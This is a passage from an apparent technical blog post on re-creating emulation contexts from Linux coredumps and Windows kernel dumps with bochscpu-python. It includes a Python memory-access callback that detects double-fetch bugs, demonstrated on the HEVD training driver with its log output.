&lt;h2 id=&quot;hey-but-what-about-linux&quot;&gt;Hey, but what about Linux?&lt;&#x2F;h2&gt;
&lt;p&gt;Well as the saying goes…&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;media.giphy.com&amp;#x2F;media&amp;#x2F;xTiTnL7OS5ZWUUWMU0&amp;#x2F;giphy.gif&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;media.giphy.com&amp;#x2F;media&amp;#x2F;xTiTnL7OS5ZWUUWMU0&amp;#x2F;giphy.gif&quot;

    

    
    title=&quot;same-but-different&quot;
    alt=&quot;same-but-different&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;using &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lief-project.github.io&#x2F;doc&#x2F;latest&#x2F;tutorials&#x2F;12_elf_coredump.html&quot;&gt;lief&lt;&#x2F;a&gt; we can parse and populate the memory layout&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;**
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; * For demo purpose, compiled with `-static`
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; *&#x2F;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdlib.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdio.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;stdint.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#include &lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;time.h&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;generate_random_buffer&lt;&#x2F;span&gt;&lt;span&gt;(uint8_t* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;buf&lt;&#x2F;span&gt;&lt;span&gt;, size_t &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sz&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i&amp;lt;sz; i++)
&lt;&#x2F;span&gt;&lt;span&gt;    buf[i] = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span&gt;() &amp;amp; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xff&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;srand&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;time&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;  uint8_t buf[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;] = {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;generate_random_buffer&lt;&#x2F;span&gt;&lt;span&gt;(buf, sizeof(buf));
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;getchar&lt;&#x2F;span&gt;&lt;span&gt;(); &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; get a coredump
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt; i=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i&amp;lt;sizeof(buf); i++)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%02x &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, buf[i]);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Compile
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;a31f6e3a-5c8a-40a6-8c6d-29e6b023d07a.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;a31f6e3a-5c8a-40a6-8c6d-29e6b023d07a.png&quot;

    

    
    title=&quot;Alt text&quot;
    alt=&quot;Alt text&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And run
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;8594fc66-e5da-477d-850c-1ea320c42ccf.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;8594fc66-e5da-477d-850c-1ea320c42ccf.png&quot;

    

    
    title=&quot;Alt text&quot;
    alt=&quot;Alt text&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;and unsurprisingly, same result&lt;&#x2F;p&gt;
&lt;p&gt;Similarly the source of this script too was added to the &lt;code&gt;examples&#x2F;&lt;&#x2F;code&gt; folder of &lt;code&gt;bochscpu-python&lt;&#x2F;code&gt; available &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;bochscpu-python&#x2F;blob&#x2F;main&#x2F;examples&#x2F;long_mode_emulate_linux_udump.py&quot;&gt;here&lt;&#x2F;a&gt; so feel free to try it at home 🙂&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bochspwn-re-reloaded&quot;&gt;BochsPwn (Re-)Reloaded?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;googleprojectzero&#x2F;bochspwn&quot;&gt;BochsPwn&lt;&#x2F;a&gt; (and &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;googleprojectzero&#x2F;bochspwn-reloaded&quot;&gt;BochsPwn-Reloaded&lt;&#x2F;a&gt;) is a project developed by &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;j00ru&quot;&gt;j00ru&lt;&#x2F;a&gt; which leveraged Bochs instrumentation capability to detect (among other things) TOCTOU race conditions in the Windows kernel.
The brilliance behind that tool can (partially) become relevant again for kernel memory dumps, by simply tracking executions and memory accesses. This can be achieved crudely by extending the kernel dump runner we had earlier, and adding a callback for linear memory accesses in &lt;code&gt;bochscpu&lt;&#x2F;code&gt; as such:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;@&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;dataclass
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ebcb8b;&quot;&gt;TrackedMemoryAccess&lt;&#x2F;span&gt;&lt;span style=&quot;color:#eff1f5;&quot;&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    timestamp: int
&lt;&#x2F;span&gt;&lt;span&gt;    pc: int
&lt;&#x2F;span&gt;&lt;span&gt;    address: int
&lt;&#x2F;span&gt;&lt;span&gt;    access: bochscpu.memory.AccessType
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;lin_access_cb&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;sess&lt;&#x2F;span&gt;&lt;span&gt;: bochscpu.Session,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cpu_id&lt;&#x2F;span&gt;&lt;span&gt;: int,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;lin&lt;&#x2F;span&gt;&lt;span&gt;: int,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;phy&lt;&#x2F;span&gt;&lt;span&gt;: int,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;: int,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;memtype&lt;&#x2F;span&gt;&lt;span&gt;: int,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rw&lt;&#x2F;span&gt;&lt;span&gt;: int,
&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;global &lt;&#x2F;span&gt;&lt;span&gt;tracked_accesses
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    state = sess.cpu.state
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;lin &amp;gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MAX_USERMODE_ADDRESS&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Ignore accessed linear address as long as it stays in KM
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;rw:
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Ignore write access (for now)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Track the current access
&lt;&#x2F;span&gt;&lt;span&gt;    cur = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;TrackedMemoryAccess&lt;&#x2F;span&gt;&lt;span&gt;(sess[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AUX_INSN_COUNT&lt;&#x2F;span&gt;&lt;span&gt;], sess[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AUX_LAST_RIP&lt;&#x2F;span&gt;&lt;span&gt;], lin, bochscpu.memory.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AccessType&lt;&#x2F;span&gt;&lt;span&gt;(memtype))
&lt;&#x2F;span&gt;&lt;span&gt;    logging.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;debug&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;{cur.pc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;:#x&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span&gt;{cur.address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;:#x&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; -&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{phy&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;:#x&lt;&#x2F;span&gt;&lt;span&gt;} {&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;} {cur.access&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;}&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Look for previous accesses
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;old &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;tracked_accesses:
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# Any access to the same VA means a match
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;old.address == cur.address and old.access == cur.access:
&lt;&#x2F;span&gt;&lt;span&gt;          logging.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;error&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;Possible usermode &lt;&#x2F;span&gt;&lt;span&gt;{cur.access}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; double fetch on VA=&lt;&#x2F;span&gt;&lt;span&gt;{cur.address&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;:#x&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1st access at &lt;&#x2F;span&gt;&lt;span&gt;{old.pc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;:#x&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; -&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{old.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;insn&lt;&#x2F;span&gt;&lt;span&gt;(sess)}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;2nd access at &lt;&#x2F;span&gt;&lt;span&gt;{cur.pc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;:#x&lt;&#x2F;span&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; -&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;{cur.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;insn&lt;&#x2F;span&gt;&lt;span&gt;(sess)}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;exec distance: &lt;&#x2F;span&gt;&lt;span&gt;{cur.timestamp - old.timestamp}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; insn(s)&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;          )
&lt;&#x2F;span&gt;&lt;span&gt;          &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;raise &lt;&#x2F;span&gt;&lt;span&gt;SuspiciousCrashException
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    tracked_accesses.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(cur)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[..snip..]
&lt;&#x2F;span&gt;&lt;span&gt;hook.lin_access_cb = lin_access_cb
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;sess.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;([hook,])
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Testing with &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hacksysteam&#x2F;HackSysExtremeVulnerableDriver&#x2F;&quot;&gt;HEVD&lt;&#x2F;a&gt; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hacksysteam&#x2F;HackSysExtremeVulnerableDriver&#x2F;blob&#x2F;master&#x2F;Driver&#x2F;HEVD&#x2F;Windows&#x2F;DoubleFetch.c&quot;&gt;Double-Fetch&lt;&#x2F;a&gt; example, immediately reveals it:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span&gt;❯ python .\hevd_double_fetch.py X:\hevd_double_fetch_dump\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mem&lt;&#x2F;span&gt;&lt;span&gt;.dmp X:\hevd_double_fetch_dump\regs.json
&lt;&#x2F;span&gt;&lt;span&gt;INFO:Parsed KernelDumpParser(X:\hevd_double_fetch_dump\&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mem&lt;&#x2F;span&gt;&lt;span&gt;.dmp, CompleteMemoryDump)
&lt;&#x2F;span&gt;&lt;span&gt;ERROR:Possible usermode bochscpu._bochscpu.memory.AccessType.Read double fetch on VA=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x5f0008&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;1st access &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;at &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff8071fde68d6&lt;&#x2F;span&gt;&lt;span&gt; -&amp;gt; mov r9, [rdi+8h]
&lt;&#x2F;span&gt;&lt;span&gt;2nd access &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;at &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xfffff8071fde6905&lt;&#x2F;span&gt;&lt;span&gt; -&amp;gt; mov r8, [rdi+8h]
&lt;&#x2F;span&gt;&lt;span&gt;exec distance: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;85&lt;&#x2F;span&gt;&lt;span&gt; insn(s)
&lt;&#x2F;span&gt;&lt;span&gt;ERROR:Exception  raised
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt; z:\bochscpu-fun\hevd_double_fetch.py(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;180&lt;&#x2F;span&gt;&lt;span&gt;)lin_access_cb()
&lt;&#x2F;span&gt;&lt;span&gt;-&amp;gt; raise SuspiciousCrashException
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;(Pdb) bochscpu.utils.dump_registers(sess.cpu.state)
&lt;&#x2F;span&gt;&lt;span&gt;rax=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000000000000&lt;&#x2F;span&gt;&lt;span&gt; rbx=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000000000000&lt;&#x2F;span&gt;&lt;span&gt; rdx=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000000000001
&lt;&#x2F;span&gt;&lt;span&gt;rsi=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000000000003&lt;&#x2F;span&gt;&lt;span&gt; rdi=00000000005f0000 rbp=ffff988c2cebae90
&lt;&#x2F;span&gt;&lt;span&gt;rsp=fffffd8650f8e880 rip=fffff8071fde6909  r8=0000000000000008
&lt;&#x2F;span&gt;&lt;span&gt; r9=000000000000004d r10=fffff8071fde5078 r11=fffffd8650f8e878
&lt;&#x2F;span&gt;&lt;span&gt;r12=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0000000000000001&lt;&#x2F;span&gt;&lt;span&gt; r13=ffff988c2d80ee00 r14=000000000000004d
&lt;&#x2F;span&gt;&lt;span&gt;r15=0000000000000800
&lt;&#x2F;span&gt;&lt;span&gt;efl=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;00040206&lt;&#x2F;span&gt;&lt;span&gt; [ id vip vif AC vm rf nt of df &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;IF&lt;&#x2F;span&gt;&lt;span&gt; tf sf zf af PF cf  ]
&lt;&#x2F;span&gt;&lt;span&gt;cs=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0010&lt;&#x2F;span&gt;&lt;span&gt;  ss=0018  ds=002b  es=002b  fs=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0053&lt;&#x2F;span&gt;&lt;span&gt;  gs=002b
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;(Pdb) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(utils.hexdump(bochscpu.memory.virt_read(sess.cpu.state.cr3, sess.cpu.state.rdi, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;)))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0000000000000000&lt;&#x2F;span&gt;&lt;span&gt;   AA AA AA AA AA AA AA AA &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;10 00 00 00 00 00 00 00&lt;&#x2F;span&gt;&lt;span&gt;     ................
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which we can double-check with a disassembler (highlighted in magenta)&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;0bd46b07-e495-419d-ae11-8373868735fe.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;0bd46b07-e495-419d-ae11-8373868735fe.png&quot;

    

    
    title=&quot;Alt text&quot;
    alt=&quot;Alt text&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h2 id=&quot;final-remark&quot;&gt;Final remark&lt;&#x2F;h2&gt;
&lt;p&gt;This article was made an attempt to structure all my notes over the last few months playing with memory dumps, and by no mean any comparison with WTF: WTF goes way further and does it better, with different emulation techniques and therefore should be used for fuzzing at scale. On the other hand having quick ways to re-create a fully working emulation context (whether user or kernel mode) from a process&#x2F;memory dump with ~50 lines of Python is not without certain advantages.&lt;&#x2F;p&gt;
&lt;p&gt;Anyway, as always open for feedback on the discussion feed.&lt;&#x2F;p&gt;
